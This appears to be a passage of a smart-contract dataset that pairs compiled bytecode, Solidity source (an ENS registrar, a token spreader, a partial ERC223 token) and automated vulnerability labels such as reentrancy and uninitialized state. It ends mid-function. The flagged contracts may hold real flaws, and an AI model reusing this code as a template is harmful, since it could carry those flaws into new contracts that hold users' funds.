ffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546138f590919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600660003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615613b1d57613ad983600360003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546138f590919063ffffffff16565b600360003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b505050565b613b3782600a546138ab90919063ffffffff16565b600a81905550613b5281600b546138f590919063ffffffff16565b600b819055505050565b600080600080613b886064613b7a888a6127a790919063ffffffff16565b61282d90919063ffffffff16565b90506000613bb26064613ba4888b6127a790919063ffffffff16565b61282d90919063ffffffff16565b90506000613bdb82613bcd858c6138ab90919063ffffffff16565b6138ab90919063ffffffff16565b905080838395509550955050505093509350939050565b600080600080613c0b85896127a790919063ffffffff16565b90506000613c2286896127a790919063ffffffff16565b90506000613c3987896127a790919063ffffffff16565b90506000613c6282613c5485876138ab90919063ffffffff16565b6138ab90919063ffffffff16565b905083818496509650965050505050945094509491505056fe45524332303a207472616e7366657220746f20746865207a65726f2061646472657373416d6f756e74206d757374206265206c657373207468616e20746f74616c207265666c656374696f6e7345524332303a20617070726f766520746f20746865207a65726f2061646472657373536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f7745524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e63655472616e7366657220616d6f756e74206d7573742062652067726561746572207468616e207a65726f45524332303a207472616e736665722066726f6d20746865207a65726f206164647265737345524332303a20617070726f76652066726f6d20746865207a65726f2061646472657373a2646970667358221220f3ca96d381616a29eb461d19e55467cbc4a32cc2435cbbee7b59afcde8dc8ce964736f6c634300060c0033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "uninitialized-state", "impact": "High", "confidence": "High"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
5,434
0x684ACe24113E8aD2C8259E8733CFF3545c9130D9
/** *Submitted for verification at Etherscan.io on 2021-02-05 */ // SPDX-License-Identifier: GPL-3.0-or-later pragma solidity 0.6.8; /* * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with GSN meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address payable) { return msg.sender; } function _msgData() internal view virtual returns (bytes memory) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ abstract contract Ownable is Context { address private _owner; event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor() internal { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } /** * @dev Returns the address of the current owner. */ function owner() public view returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require( newOwner != address(0), "Ownable: new owner is the zero address" ); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } interface IENS { // Logged when the owner of a node assigns a new owner to a subnode. event NewOwner(bytes32 indexed node, bytes32 indexed label, address owner); // Logged when the owner of a node transfers ownership to a new account. event Transfer(bytes32 indexed node, address owner); // Logged when the resolver for a node changes. event NewResolver(bytes32 indexed node, address resolver); // Logged when the TTL of a node changes event NewTTL(bytes32 indexed node, uint64 ttl); // Logged when an operator is added or removed. event ApprovalForAll( address indexed owner, address indexed operator, bool approved ); function setRecord( bytes32 node, address owner, address resolver, uint64 ttl ) external; function setSubnodeRecord( bytes32 node, bytes32 label, address owner, address resolver, uint64 ttl ) external; function setSubnodeOwner( bytes32 node, bytes32 label, address owner ) external returns (bytes32); function setResolver(bytes32 node, address resolver) external; function setOwner(bytes32 node, address owner) external; function setTTL(bytes32 node, uint64 ttl) external; function setApprovalForAll(address operator, bool approved) external; function owner(bytes32 node) external view returns (address); function resolver(bytes32 node) external view returns (address); function ttl(bytes32 node) external view returns (uint64); function recordExists(bytes32 node) external view returns (bool); function isApprovedForAll(address owner, address operator) external view returns (bool); } interface IENSResolver { event AddrChanged(bytes32 indexed _node, address _addr); event NameChanged(bytes32 indexed _node, string _name); function addr(bytes32 _node) external view returns (address); function setAddr(bytes32 _node, address _addr) external; function name(bytes32 _node) external view returns (string memory); function setName(bytes32 _node, string calldata _name) external; } interface IENSReverseRegistrar { function claim(address _owner) external returns (bytes32); function claimWithResolver(address _owner, address _resolver) external returns (bytes32); function setName(string calldata _name) external returns (bytes32); function node(address _addr) external pure returns (bytes32); } interface IMirrorENSRegistrar { function changeRootNodeOwner(address newOwner_) external; function register(string calldata label_, address owner_) external; function updateENSReverseRegistrar() external; } contract MirrorENSRegistrar is IMirrorENSRegistrar, Ownable { // ============ Constants ============ /** * namehash('addr.reverse') */ bytes32 public constant ADDR_REVERSE_NODE = 0x91d1777781884d03a6757a803996e38de2a42967fb37eeaca72729271025a9e2; // ============ Immutable Storage ============ /** * The name of the ENS root, e.g. "mirror.xyz". * @dev dependency injectable for testnet. */ string public rootName; /** * The node of the root name (e.g. namehash(mirror.xyz)) */ bytes32 public immutable rootNode; /** * The address of the public ENS registry. * @dev Dependency-injectable for testing purposes, but otherwise this is the * canonical ENS registry at 0x00000000000C2E074eC69A0dFb2997BA6C7d2e1e. */ IENS public immutable ensRegistry; /** * The address of the MirrorWriteToken that gates access to this namespace. */ address public immutable writeToken; /** * The address of the MirrorENSResolver. */ IENSResolver public immutable ensResolver; // ============ Mutable Storage ============ /** * Set by anyone to the correct address after configuration, * to prevent a lookup on each registration. */ IENSReverseRegistrar public reverseRegistrar; // ============ Events ============ event RootNodeOwnerChange(bytes32 indexed node, address indexed owner); event RegisteredENS(address indexed _owner, string _ens); // ============ Modifiers ============ /** * @dev Modifier to check whether the `msg.sender` is the MirrorWriteToken. * If it is, it will run the function. Otherwise, it will revert. */ modifier onlyWriteToken() { require( msg.sender == writeToken, "MirrorENSRegistrar: caller is not the Mirror Write Token" ); _; } // ============ Constructor ============ /** * @notice Constructor that sets the ENS root name and root node to manage. * @param rootName_ The root name (e.g. mirror.xyz). * @param rootNode_ The node of the root name (e.g. namehash(mirror.xyz)). * @param ensRegistry_ The address of the ENS registry * @param ensResolver_ The address of the ENS resolver * @param writeToken_ The address of the Mirror Write Token */ constructor( string memory rootName_, bytes32 rootNode_, address ensRegistry_, address ensResolver_, address writeToken_ ) public { rootName = rootName_; rootNode = rootNode_; writeToken = writeToken_; // Registrations are cheaper if these are instantiated. ensRegistry = IENS(ensRegistry_); ensResolver = IENSResolver(ensResolver_); } // ============ Registration ============ /** * @notice Assigns an ENS subdomain of the root node to a target address. * Registers both the forward and reverse ENS. Can only be called by writeToken. * @param label_ The subdomain label. * @param owner_ The owner of the subdomain. */ function register(string calldata label_, address owner_) external override onlyWriteToken { bytes32 labelNode = keccak256(abi.encodePacked(label_)); bytes32 node = keccak256(abi.encodePacked(rootNode, labelNode)); require( ensRegistry.owner(node) == address(0), "MirrorENSManager: label is already owned" ); // Forward ENS ensRegistry.setSubnodeRecord( rootNode, labelNode, owner_, address(ensResolver), 0 ); ensResolver.setAddr(node, owner_); // Reverse ENS string memory name = string(abi.encodePacked(label_, ".", rootName)); bytes32 reverseNode = reverseRegistrar.node(owner_); ensResolver.setName(reverseNode, name); emit RegisteredENS(owner_, name); } // ============ ENS Management ============ /** * @notice This function must be called when the ENS Manager contract is replaced * and the address of the new Manager should be provided. * @param _newOwner The address of the new ENS manager that will manage the root node. */ function changeRootNodeOwner(address _newOwner) external override onlyOwner { ensRegistry.setOwner(rootNode, _newOwner); emit RootNodeOwnerChange(rootNode, _newOwner); } /** * @notice Updates to the reverse registrar. */ function updateENSReverseRegistrar() external override onlyOwner { reverseRegistrar = IENSReverseRegistrar( ensRegistry.owner(ADDR_REVERSE_NODE) ); } }
0x608060405234801561001057600080fd5b50600436106100df5760003560e01c80637d73b2311161008c578063adce1c5f11610066578063adce1c5f146101eb578063f20387df146101f3578063f2fde38b14610270578063faff50a814610296576100df565b80637d73b231146101d357806380869853146101db5780638da5cb5b146101e3576100df565b806360b17c43116100bd57806360b17c43146101a9578063715018a6146101b15780637cf8a2eb146101b9576100df565b806301f644dd146100e45780630e77a8681461010c5780631e59c52914610130575b600080fd5b61010a600480360360208110156100fa57600080fd5b50356001600160a01b031661029e565b005b610114610419565b604080516001600160a01b039092168252519081900360200190f35b61010a6004803603604081101561014657600080fd5b81019060208101813564010000000081111561016157600080fd5b82018360208201111561017357600080fd5b8035906020019184600183028401116401000000008311171561019557600080fd5b9193509150356001600160a01b031661043d565b61010a610a8c565b61010a610bef565b6101c1610cb0565b60408051918252519081900360200190f35b610114610cd4565b610114610cf8565b610114610d07565b610114610d16565b6101fb610d3a565b6040805160208082528351818301528351919283929083019185019080838360005b8381101561023557818101518382015260200161021d565b50505050905090810190601f1680156102625780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b61010a6004803603602081101561028657600080fd5b50356001600160a01b0316610de5565b6101c1610efc565b6102a6610f20565b6000546001600160a01b03908116911614610308576040805162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604482015290519081900360640190fd5b7f00000000000000000000000000000000000c2e074ec69a0dfb2997ba6c7d2e1e6001600160a01b0316635b0fc9c37fa9a87f735d649722c441b5aa3cee9a93786cf4db5f44ef19610909403326b397836040518363ffffffff1660e01b815260040180838152602001826001600160a01b03166001600160a01b0316815260200192505050600060405180830381600087803b1580156103a857600080fd5b505af11580156103bc573d6000803e3d6000fd5b50506040516001600160a01b03841692507fa9a87f735d649722c441b5aa3cee9a93786cf4db5f44ef19610909403326b39791507f1feab6b73ead7720548833a318ec8adba961fdb81dc95f4303705f3d13e49f2690600090a350565b7f000000000000000000000000622236bb180256b6ae1a935dae08dc035614163281565b336001600160a01b037f000000000000000000000000622236bb180256b6ae1a935dae08dc035614163216146104a45760405162461bcd60e51b8152600401808060200182810382526038815260200180610f4b6038913960400191505060405180910390fd5b60008383604051602001808383808284376040805191909301818103601f1901825280845281516020928301207fa9a87f735d649722c441b5aa3cee9a93786cf4db5f44ef19610909403326b39783830152818501819052845180830386018152606083018087528151918501919091207f02571be300000000000000000000000000000000000000000000000000000000909152606483018190529451909850939650600095506001600160a01b037f00000000000000000000000000000000000c2e074ec69a0dfb2997ba6c7d2e1e1694506302571be393608480830194509091829003018186803b15801561059b57600080fd5b505afa1580156105af573d6000803e3d6000fd5b505050506040513d60208110156105c557600080fd5b50516001600160a01b03161461060c5760405162461bcd60e51b8152600401808060200182810382526028815260200180610f836028913960400191505060405180910390fd5b604080517f5ef2c7f00000000000000000000000000000000000000000000000000000000081527fa9a87f735d649722c441b5aa3cee9a93786cf4db5f44ef19610909403326b3976004820152602481018490526001600160a01b0385811660448301527f0000000000000000000000004184dd6ad5d68cc88dd736b31707df0e1c265e9e8116606483015260006084830181905292517f00000000000000000000000000000000000c2e074ec69a0dfb2997ba6c7d2e1e90911692635ef2c7f09260a4808201939182900301818387803b1580156106ea57600080fd5b505af11580156106fe573d6000803e3d6000fd5b505050507f0000000000000000000000004184dd6ad5d68cc88dd736b31707df0e1c265e9e6001600160a01b031663d5fa2b0082856040518363ffffffff1660e01b815260040180838152602001826001600160a01b03166001600160a01b0316815260200192505050600060405180830381600087803b15801561078257600080fd5b505af1158015610796573d6000803e3d6000fd5b505050506060858560016040516020018084848082843780830192505050807f2e00000000000000000000000000000000000000000000000000000000000000815250600101828054600181600116156101000203166002900480156108335780601f10610811576101008083540402835291820191610833565b820191906000526020600020905b81548152906001019060200180831161081f575b505060408051601f198184030181528282526002547fbffbe61c0000000000000000000000000000000000000000000000000000000084526001600160a01b038c8116600486015292519198506000975091909116945063bffbe61c935060248083019350602092829003018186803b1580156108af57600080fd5b505afa1580156108c3573d6000803e3d6000fd5b505050506040513d60208110156108d957600080fd5b5051604080517f7737221300000000000000000000000000000000000000000000000000000000815260048101838152602482019283528551604483015285519394506001600160a01b037f0000000000000000000000004184dd6ad5d68cc88dd736b31707df0e1c265e9e16936377372213938693889392606490910190602085019080838360005b8381101561097b578181015183820152602001610963565b50505050905090810190601f1680156109a85780820380516001836020036101000a031916815260200191505b509350505050600060405180830381600087803b1580156109c857600080fd5b505af11580156109dc573d6000803e3d6000fd5b50505050846001600160a01b03167f9f2a065383b236afdeb6e9b1d77966068499287f92b04c37831f34f565d14401836040518080602001828103825283818151815260200191508051906020019080838360005b83811015610a49578181015183820152602001610a31565b50505050905090810190601f168015610a765780820380516001836020036101000a031916815260200191505b509250505060405180910390a250505050505050565b610a94610f20565b6000546001600160a01b03908116911614610af6576040805162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604482015290519081900360640190fd5b604080517f02571be30000000000000000000000000000000000000000000000000000000081527f91d1777781884d03a6757a803996e38de2a42967fb37eeaca72729271025a9e2600482015290516001600160a01b037f00000000000000000000000000000000000c2e074ec69a0dfb2997ba6c7d2e1e16916302571be3916024808301926020929190829003018186803b158015610b9557600080fd5b505afa158015610ba9573d6000803e3d6000fd5b505050506040513d6020811015610bbf57600080fd5b50516002805473ffffffffffffffffffffffffffffffffffffffff19166001600160a01b03909216919091179055565b610bf7610f20565b6000546001600160a01b03908116911614610c59576040805162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604482015290519081900360640190fd5b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a36000805473ffffffffffffffffffffffffffffffffffffffff19169055565b7f91d1777781884d03a6757a803996e38de2a42967fb37eeaca72729271025a9e281565b7f00000000000000000000000000000000000c2e074ec69a0dfb2997ba6c7d2e1e81565b6002546001600160a01b031681565b6000546001600160a01b031690565b7f0000000000000000000000004184dd6ad5d68cc88dd736b31707df0e1c265e9e81565b60018054604080516020600284861615610100027fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0190941693909304601f81018490048402820184019092528181529291830182828015610ddd5780601f10610db257610100808354040283529160200191610ddd565b820191906000526020600020905b815481529060010190602001808311610dc057829003601f168201915b505050505081565b610ded610f20565b6000546001600160a01b03908116911614610e4f576040805162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604482015290519081900360640190fd5b6001600160a01b038116610e945760405162461bcd60e51b8152600401808060200182810382526026815260200180610f256026913960400191505060405180910390fd5b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a36000805473ffffffffffffffffffffffffffffffffffffffff19166001600160a01b0392909216919091179055565b7fa9a87f735d649722c441b5aa3cee9a93786cf4db5f44ef19610909403326b39781565b339056fe4f776e61626c653a206e6577206f776e657220697320746865207a65726f20616464726573734d6972726f72454e535265676973747261723a2063616c6c6572206973206e6f7420746865204d6972726f7220577269746520546f6b656e4d6972726f72454e534d616e616765723a206c6162656c20697320616c7265616479206f776e6564a2646970667358221220959146db9b06917e4cbea1d4b61b3ef49a7d1575abb54fe393ad1ccdb041fa9764736f6c63430006080033
{"success": true, "error": null, "results": {}}
5,435
0x843BC5F5496F87D6029Bf97372cDB06f683396fF
/** *Submitted for verification at Etherscan.io on 2018-06-08 */ pragma solidity ^0.5.0; // ----------------- //begin Ownable.sol /** * @title Ownable * @dev The Ownable contract has an owner address, and provides basic authorization control * functions, this simplifies the implementation of "user permissions". */ contract Ownable { address public owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev The Ownable constructor sets the original `owner` of the contract to the sender * account. */ constructor() public { owner = msg.sender; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(msg.sender == owner); _; } /** * @dev Allows the current owner to transfer control of the contract to a newOwner. * @param newOwner The address to transfer ownership to. */ function transferOwnership(address newOwner) public onlyOwner { require(newOwner != address(0)); emit OwnershipTransferred(owner, newOwner); owner = newOwner; } } //end Ownable.sol // ----------------- //begin ERC20Basic.sol /** * @title ERC20Basic * @dev Simpler version of ERC20 interface * @dev see https://github.com/ethereum/EIPs/issues/179 */ contract ERC20Basic { function totalSupply() public view returns (uint256); function balanceOf(address who) public view returns (uint256); function transfer(address to, uint256 value) public returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); } //end ERC20Basic.sol // ----------------- //begin SafeMath.sol /** * @title SafeMath * @dev Math operations with safety checks that throw on error */ library SafeMath { /** * @dev Multiplies two numbers, throws on overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; assert(c / a == b); return c; } /** * @dev Integer division of two numbers, truncating the quotient. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { // assert(b > 0); // Solidity automatically throws when dividing by 0 // uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return a / b; } /** * @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend). */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } /** * @dev Adds two numbers, throws on overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } } //end SafeMath.sol // ----------------- //begin BasicToken.sol /** * @title Basic token * @dev Basic version of StandardToken, with no allowances. */ contract BasicToken is ERC20Basic { using SafeMath for uint256; mapping(address => uint256) balances; uint256 totalSupply_; /** * @dev total number of tokens in existence */ function totalSupply() public view returns (uint256) { return totalSupply_; } /** * @dev transfer token for a specified address * @param _to The address to transfer to. * @param _value The amount to be transferred. */ function transfer(address _to, uint256 _value) public returns (bool) { require(_to != address(0)); require(_value <= balances[msg.sender]); balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); emit Transfer(msg.sender, _to, _value); return true; } /** * @dev Gets the balance of the specified address. * @param _owner The address to query the the balance of. * @return An uint256 representing the amount owned by the passed address. */ function balanceOf(address _owner) public view returns (uint256 balance) { return balances[_owner]; } } //end BasicToken.sol // ----------------- //begin ERC20.sol /** * @title ERC20 interface * @dev see https://github.com/ethereum/EIPs/issues/20 */ contract ERC20 is ERC20Basic { function allowance(address owner, address spender) public view returns (uint256); function transferFrom(address from, address to, uint256 value) public returns (bool); function approve(address spender, uint256 value) public returns (bool); event Approval(address indexed owner, address indexed spender, uint256 value); } //end ERC20.sol // ----------------- //begin StandardToken.sol /** * @title Standard ERC20 token * * @dev Implementation of the basic standard token. * @dev https://github.com/ethereum/EIPs/issues/20 * @dev Based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol */ contract StandardToken is ERC20, BasicToken { mapping (address => mapping (address => uint256)) internal allowed; /** * @dev Transfer tokens from one address to another * @param _from address The address which you want to send tokens from * @param _to address The address which you want to transfer to * @param _value uint256 the amount of tokens to be transferred */ function transferFrom(address _from, address _to, uint256 _value) public returns (bool) { require(_to != address(0)); require(_value <= balances[_from]); require(_value <= allowed[_from][msg.sender]); balances[_from] = balances[_from].sub(_value); balances[_to] = balances[_to].add(_value); allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value); emit Transfer(_from, _to, _value); return true; } /** * @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender. * * Beware that changing an allowance with this method brings the risk that someone may use both the old * and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this * race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * @param _spender The address which will spend the funds. * @param _value The amount of tokens to be spent. */ function approve(address _spender, uint256 _value) public returns (bool) { allowed[msg.sender][_spender] = _value; emit Approval(msg.sender, _spender, _value); return true; } /** * @dev Function to check the amount of tokens that an owner allowed to a spender. * @param _owner address The address which owns the funds. * @param _spender address The address which will spend the funds. * @return A uint256 specifying the amount of tokens still available for the spender. */ function allowance(address _owner, address _spender) public view returns (uint256) { return allowed[_owner][_spender]; } /** * @dev Increase the amount of tokens that an owner allowed to a spender. * * approve should be called when allowed[_spender] == 0. To increment * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol * @param _spender The address which will spend the funds. * @param _addedValue The amount of tokens to increase the allowance by. */ function increaseApproval(address _spender, uint _addedValue) public returns (bool) { allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue); emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } /** * @dev Decrease the amount of tokens that an owner allowed to a spender. * * approve should be called when allowed[_spender] == 0. To decrement * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol * @param _spender The address which will spend the funds. * @param _subtractedValue The amount of tokens to decrease the allowance by. */ function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) { uint oldValue = allowed[msg.sender][_spender]; if (_subtractedValue > oldValue) { allowed[msg.sender][_spender] = 0; } else { allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue); } emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } } //end StandardToken.sol // ----------------- //begin TokensSpreader.sol contract TokensSpreader is Ownable { StandardToken public token; address public sender; string public name = "TDR's Tokens Spreader"; constructor(address _tokenAddress, address _sender) public { token = StandardToken(_tokenAddress); sender = _sender; } function spread(address[] memory addresses, uint256[] memory amounts) public onlyOwner { if (addresses.length != amounts.length) { revert(); } for (uint8 i = 0; i < addresses.length; i++) { token.transferFrom(sender, addresses[i], amounts[i]); } } function setSender(address _sender) public onlyOwner { sender = _sender; } function setToken(address _tokenAddress) public onlyOwner { token = StandardToken(_tokenAddress); } function resetWith(address _sender, address _tokenAddress) public onlyOwner { sender = _sender; token = StandardToken(_tokenAddress); } } //end TokensSpreader.sol
0x608060405234801561001057600080fd5b50600436106100935760003560e01c80638da5cb5b116100665780638da5cb5b1461028857806394b8e58e14610290578063ced32b0c146102be578063f2fde38b146102e4578063fc0c546a1461030a57610093565b806306fdde0314610098578063144fa6d7146101155780632b071e471461013d57806367e404ce14610264575b600080fd5b6100a0610312565b6040805160208082528351818301528351919283929083019185019080838360005b838110156100da5781810151838201526020016100c2565b50505050905090810190601f1680156101075780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b61013b6004803603602081101561012b57600080fd5b50356001600160a01b03166103a0565b005b61013b6004803603604081101561015357600080fd5b81019060208101813564010000000081111561016e57600080fd5b82018360208201111561018057600080fd5b803590602001918460208302840111640100000000831117156101a257600080fd5b91908080602002602001604051908101604052809392919081815260200183836020028082843760009201919091525092959493602081019350359150506401000000008111156101f257600080fd5b82018360208201111561020457600080fd5b8035906020019184602083028401116401000000008311171561022657600080fd5b9190808060200260200160405190810160405280939291908181526020018383602002808284376000920191909152509295506103d9945050505050565b61026c6104f8565b604080516001600160a01b039092168252519081900360200190f35b61026c610507565b61013b600480360360408110156102a657600080fd5b506001600160a01b0381358116916020013516610516565b61013b600480360360208110156102d457600080fd5b50356001600160a01b031661055b565b61013b600480360360208110156102fa57600080fd5b50356001600160a01b0316610594565b61026c610619565b6003805460408051602060026001851615610100026000190190941693909304601f810184900484028201840190925281815292918301828280156103985780601f1061036d57610100808354040283529160200191610398565b820191906000526020600020905b81548152906001019060200180831161037b57829003601f168201915b505050505081565b6000546001600160a01b031633146103b757600080fd5b600180546001600160a01b0319166001600160a01b0392909216919091179055565b6000546001600160a01b031633146103f057600080fd5b80518251146103fe57600080fd5b60005b82518160ff1610156104f35760015460025484516001600160a01b03928316926323b872dd921690869060ff861690811061043857fe5b6020026020010151858560ff168151811061044f57fe5b60200260200101516040518463ffffffff1660e01b815260040180846001600160a01b03166001600160a01b03168152602001836001600160a01b03166001600160a01b031681526020018281526020019350505050602060405180830381600087803b1580156104bf57600080fd5b505af11580156104d3573d6000803e3d6000fd5b505050506040513d60208110156104e957600080fd5b5050600101610401565b505050565b6002546001600160a01b031681565b6000546001600160a01b031681565b6000546001600160a01b0316331461052d57600080fd5b600280546001600160a01b039384166001600160a01b03199182161790915560018054929093169116179055565b6000546001600160a01b0316331461057257600080fd5b600280546001600160a01b0319166001600160a01b0392909216919091179055565b6000546001600160a01b031633146105ab57600080fd5b6001600160a01b0381166105be57600080fd5b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b6001546001600160a01b03168156fea265627a7a72305820c8ef83111f72aa510fc625556f808ade11d65bf7c934be51c3e20f85d02620f364736f6c634300050a0032
{"success": true, "error": null, "results": {"detectors": [{"check": "uninitialized-state", "impact": "High", "confidence": "High"}, {"check": "unchecked-transfer", "impact": "High", "confidence": "Medium"}]}}
5,436
0x319a1af29df98435b251dfb4c56277b621703018
pragma solidity ^0.4.20; /** * @title ContractReceiver * @dev Receiver for ERC223 tokens */ contract ContractReceiver { struct TKN { address sender; uint value; bytes data; bytes4 sig; } function tokenFallback(address _from, uint _value, bytes _data) public pure { TKN memory tkn; tkn.sender = _from; tkn.value = _value; tkn.data = _data; uint32 u = uint32(_data[3]) + (uint32(_data[2]) << 8) + (uint32(_data[1]) << 16) + (uint32(_data[0]) << 24); tkn.sig = bytes4(u); /* tkn variable is analogue of msg variable of Ether transaction * tkn.sender is person who initiated this token transaction (analogue of msg.sender) * tkn.value the number of tokens that were sent (analogue of msg.value) * tkn.data is data of token transaction (analogue of msg.data) * tkn.sig is 4 bytes signature of function * if data of token transaction is a function execution */ } } /** * @title Ownable * @dev The Ownable contract has an owner address, and provides basic authorization control * functions, this simplifies the implementation of "user permissions". */ contract Ownable { address public owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev The Ownable constructor sets the original `owner` of the contract to the sender * account. */ function Ownable() public { owner = msg.sender; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(msg.sender == owner); _; } /** * @dev Allows the current owner to transfer control of the contract to a newOwner. * @param newOwner The address to transfer ownership to. */ function transferOwnership(address newOwner) public onlyOwner { require(newOwner != address(0)); OwnershipTransferred(owner, newOwner); owner = newOwner; } } /** * @title SafeMath * @dev Math operations with safety checks that throw on error */ library SafeMath { /** * @dev Multiplies two numbers, throws on overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; assert(c / a == b); return c; } /** * @dev Integer division of two numbers, truncating the quotient. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { // assert(b > 0); // Solidity automatically throws when dividing by 0 uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn&#39;t hold return c; } /** * @dev Substracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend). */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } /** * @dev Adds two numbers, throws on overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } } contract ERC223 { uint public totalSupply; function name() public view returns (string _name); function symbol() public view returns (string _symbol); function decimals() public view returns (uint8 _decimals); function totalSupply() public view returns (uint256 _supply); function balanceOf(address who) public view returns (uint); function transfer(address to, uint value) public returns (bool ok); function transfer(address to, uint value, bytes data) public returns (bool ok); function transfer(address to, uint value, bytes data, string custom_fallback) public returns (bool ok); event Transfer(address indexed from, address indexed to, uint value, bytes indexed data); event Transfer(address indexed _from, address indexed _to, uint256 _value); } contract INZEI is ERC223, Ownable { using SafeMath for uint256; string public name = "INZEI"; string public symbol = "INZ"; uint8 public decimals = 8; uint256 public initialSupply = 3e10 * 1e8; uint256 public totalSupply; uint256 public distributeAmount = 0; bool public mintingFinished = false; mapping (address => uint) balances; mapping (address => bool) public frozenAccount; mapping (address => uint256) public unlockUnixTime; event FrozenFunds(address indexed target, bool frozen); event LockedFunds(address indexed target, uint256 locked); event Burn(address indexed burner, uint256 value); event Mint(address indexed to, uint256 amount); event MintFinished(); function INZEI() public { totalSupply = initialSupply; balances[msg.sender] = totalSupply; } function name() public view returns (string _name) { return name; } function symbol() public view returns (string _symbol) { return symbol; } function decimals() public view returns (uint8 _decimals) { return decimals; } function totalSupply() public view returns (uint256 _totalSupply) { return totalSupply; } function balanceOf(address _owner) public view returns (uint balance) { return balances[_owner]; } modifier onlyPayloadSize(uint256 size){ assert(msg.data.length >= size + 4); _; } // Function that is called when a user or another contract wants to transfer funds . function transfer(address _to, uint _value, bytes _data, string _custom_fallback) public returns (bool success) { require(_value > 0 && frozenAccount[msg.sender] == false && frozenAccount[_to] == false && now > unlockUnixTime[msg.sender] && now > unlockUnixTime[_to]); if(isContract(_to)) { if 